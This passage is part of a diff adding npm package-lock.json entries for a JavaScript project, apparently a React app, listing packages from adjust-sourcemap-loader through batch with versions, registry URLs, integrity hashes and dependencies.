+      "integrity": "sha512-B+6bi5D34+fDYENiH5qOlA0cV2rAGKuWZ9LeyUUehbXy8e0VS9e498yO0Jeeh+iM+6KbfudHTFjXw2MmJD4QRA==",
+      "engines": {
+        "node": ">= 10.0.0"
+      }
+    },
+    "node_modules/adjust-sourcemap-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz",
+      "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==",
+      "dependencies": {
+        "loader-utils": "^2.0.0",
+        "regex-parser": "^2.2.11"
+      },
+      "engines": {
+        "node": ">=8.9"
+      }
+    },
+    "node_modules/agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "dependencies": {
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/ajv": {
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/ajv-formats": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
+      "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+      "dependencies": {
+        "ajv": "^8.0.0"
+      },
+      "peerDependencies": {
+        "ajv": "^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "ajv": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/ansi-escapes": {
+      "version": "4.3.2",
+      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
+      "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+      "dependencies": {
+        "type-fest": "^0.21.3"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/ansi-escapes/node_modules/type-fest": {
+      "version": "0.21.3",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
+      "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/ansi-html-community": {
+      "version": "0.0.8",
+      "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
+      "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==",
+      "engines": [
+        "node >= 0.8.0"
+      ],
+      "bin": {
+        "ansi-html": "bin/ansi-html"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-4.3.0.tgz",
+      "integrity": "sha1-7dgDYornHATIWuegkG7a00tkiTc=",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/ansi-styles/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npm.taobao.org/color-convert/download/color-convert-2.0.1.tgz",
+      "integrity": "sha1-ctOmjVmMm9s68q0ehPIdiWq9TeM=",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/anymatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+      "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+      "dependencies": {
+        "normalize-path": "^3.0.0",
+        "picomatch": "^2.0.4"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/arg": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+    },
+    "node_modules/argparse": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+      "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "dependencies": {
+        "sprintf-js": "~1.0.2"
+      }
+    },
+    "node_modules/aria-query": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npm.taobao.org/aria-query/download/aria-query-4.2.2.tgz",
+      "integrity": "sha1-DSymyazrVriXfp/tau1+FbvS+Ds=",
+      "dependencies": {
+        "@babel/runtime": "^7.10.2",
+        "@babel/runtime-corejs3": "^7.10.2"
+      },
+      "engines": {
+        "node": ">=6.0"
+      }
+    },
+    "node_modules/array-flatten": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
+      "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ=="
+    },
+    "node_modules/array-includes": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.5.tgz",
+      "integrity": "sha512-iSDYZMMyTPkiFasVqfuAQnWAYcvO/SeBSCGKePoEthjp4LEMTe4uLc7b025o4jAZpHhihh8xPo99TNWUWWkGDQ==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5",
+        "get-intrinsic": "^1.1.1",
+        "is-string": "^1.0.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array-union": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+      "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/array.prototype.flat": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.0.tgz",
+      "integrity": "sha512-12IUEkHsAhA4DY5s0FPgNXIdc8VRSqD9Zp78a5au9abH/SOBrsp082JOWFNTjkMozh8mqcdiKuaLGhPeYztxSw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array.prototype.flatmap": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.0.tgz",
+      "integrity": "sha512-PZC9/8TKAIxcWKdyeb77EzULHPrIX/tIZebLJUQOMR1OwYosT8yggdfWScfTBCDj5utONvOuPQQumYsU2ULbkg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array.prototype.reduce": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz",
+      "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-array-method-boxes-properly": "^1.0.0",
+        "is-string": "^1.0.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/asap": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
+      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+    },
+    "node_modules/ast-types-flow": {
+      "version": "0.0.7",
+      "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+      "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag=="
+    },
+    "node_modules/async": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz",
+      "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ=="
+    },
+    "node_modules/asynckit": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+    },
+    "node_modules/at-least-node": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
+      "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
+      "engines": {
+        "node": ">= 4.0.0"
+      }
+    },
+    "node_modules/atob": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npm.taobao.org/atob/download/atob-2.1.2.tgz",
+      "integrity": "sha1-bZUX654DDSQ2ZmZR6GvZ9vE1M8k=",
+      "bin": {
+        "atob": "bin/atob.js"
+      },
+      "engines": {
+        "node": ">= 4.5.0"
+      }
+    },
+    "node_modules/autoprefixer": {
+      "version": "10.4.12",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.12.tgz",
+      "integrity": "sha512-WrCGV9/b97Pa+jtwf5UGaRjgQIg7OK3D06GnoYoZNcG1Xb8Gt3EfuKjlhh9i/VtT16g6PYjZ69jdJ2g8FxSC4Q==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+        }
+      ],
+      "dependencies": {
+        "browserslist": "^4.21.4",
+        "caniuse-lite": "^1.0.30001407",
+        "fraction.js": "^4.2.0",
+        "normalize-range": "^0.1.2",
+        "picocolors": "^1.0.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "bin": {
+        "autoprefixer": "bin/autoprefixer"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/axe-core": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.4.3.tgz",
+      "integrity": "sha512-32+ub6kkdhhWick/UjvEwRchgoetXqTK14INLqbGm5U2TzBkBNF3nQtLYm8ovxSkQWArjEQvftCKryjZaATu3w==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/axios": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.0.tgz",
+      "integrity": "sha512-EZ1DYihju9pwVB+jg67ogm+Tmqc6JmhamRN6I4Zt8DfZu5lbcQGw3ozH9lFejSJgs/ibaef3A9PMXPLeefFGJg==",
+      "dependencies": {
+        "follow-redirects": "^1.15.0",
+        "form-data": "^4.0.0",
+        "proxy-from-env": "^1.1.0"
+      }
+    },
+    "node_modules/axios/node_modules/form-data": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
+      "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+      "dependencies": {
+        "asynckit": "^0.4.0",
+        "combined-stream": "^1.0.8",
+        "mime-types": "^2.1.12"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/axobject-query": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+      "integrity": "sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA=="
+    },
+    "node_modules/babel-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz",
+      "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==",
+      "dependencies": {
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__core": "^7.1.14",
+        "babel-plugin-istanbul": "^6.1.1",
+        "babel-preset-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.8.0"
+      }
+    },
+    "node_modules/babel-jest/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/babel-jest/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/babel-loader": {
+      "version": "8.2.5",
+      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz",
+      "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==",
+      "dependencies": {
+        "find-cache-dir": "^3.3.1",
+        "loader-utils": "^2.0.0",
+        "make-dir": "^3.1.0",
+        "schema-utils": "^2.6.5"
+      },
+      "engines": {
+        "node": ">= 8.9"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0",
+        "webpack": ">=2"
+      }
+    },
+    "node_modules/babel-loader/node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/babel-loader/node_modules/ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "license": "MIT",
+      "peerDependencies": {
+        "ajv": "^6.9.1"
+      }
+    },
+    "node_modules/babel-loader/node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
+    },
+    "node_modules/babel-loader/node_modules/schema-utils": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
+      "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.5",
+        "ajv": "^6.12.4",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 8.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/babel-plugin-dynamic-import-node": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz",
+      "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==",
+      "dependencies": {
+        "object.assign": "^4.1.0"
+      }
+    },
+    "node_modules/babel-plugin-istanbul": {
+      "version": "6.1.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
+      "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@istanbuljs/load-nyc-config": "^1.0.0",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-instrument": "^5.0.4",
+        "test-exclude": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/babel-plugin-jest-hoist": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz",
+      "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==",
+      "dependencies": {
+        "@babel/template": "^7.3.3",
+        "@babel/types": "^7.3.3",
+        "@types/babel__core": "^7.0.0",
+        "@types/babel__traverse": "^7.0.6"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/babel-plugin-macros": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz",
+      "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5",
+        "cosmiconfig": "^7.0.0",
+        "resolve": "^1.19.0"
+      },
+      "engines": {
+        "node": ">=10",
+        "npm": ">=6"
+      }
+    },
+    "node_modules/babel-plugin-named-asset-import": {
+      "version": "0.3.8",
+      "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz",
+      "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==",
+      "peerDependencies": {
+        "@babel/core": "^7.1.0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs2": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz",
+      "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==",
+      "dependencies": {
+        "@babel/compat-data": "^7.17.7",
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "semver": "^6.1.1"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs3": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz",
+      "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==",
+      "dependencies": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "core-js-compat": "^3.25.1"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-regenerator": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz",
+      "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==",
+      "dependencies": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-transform-react-remove-prop-types": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
+      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
+    },
+    "node_modules/babel-preset-current-node-syntax": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz",
+      "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==",
+      "dependencies": {
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-bigint": "^7.8.3",
+        "@babel/plugin-syntax-class-properties": "^7.8.3",
+        "@babel/plugin-syntax-import-meta": "^7.8.3",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-top-level-await": "^7.8.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/babel-preset-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz",
+      "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==",
+      "dependencies": {
+        "babel-plugin-jest-hoist": "^27.5.1",
+        "babel-preset-current-node-syntax": "^1.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/babel-preset-react-app": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz",
+      "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@babel/plugin-proposal-class-properties": "^7.16.0",
+        "@babel/plugin-proposal-decorators": "^7.16.4",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0",
+        "@babel/plugin-proposal-numeric-separator": "^7.16.0",
+        "@babel/plugin-proposal-optional-chaining": "^7.16.0",
+        "@babel/plugin-proposal-private-methods": "^7.16.0",
+        "@babel/plugin-transform-flow-strip-types": "^7.16.0",
+        "@babel/plugin-transform-react-display-name": "^7.16.0",
+        "@babel/plugin-transform-runtime": "^7.16.4",
+        "@babel/preset-env": "^7.16.4",
+        "@babel/preset-react": "^7.16.0",
+        "@babel/preset-typescript": "^7.16.0",
+        "@babel/runtime": "^7.16.3",
+        "babel-plugin-macros": "^3.1.0",
+        "babel-plugin-transform-react-remove-prop-types": "^0.4.24"
+      }
+    },
+    "node_modules/babel-preset-react-app/node_modules/@babel/runtime": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.19.0.tgz",
+      "integrity": "sha512-eR8Lo9hnDS7tqkO7NsV+mKvCmv5boaXFSZ70DnfhcgiEne8hv9oCEd36Klw74EtizEqLsy4YnW8UWwpBVolHZA==",
+      "dependencies": {
+        "regenerator-runtime": "^0.13.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+    },
+    "node_modules/batch": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
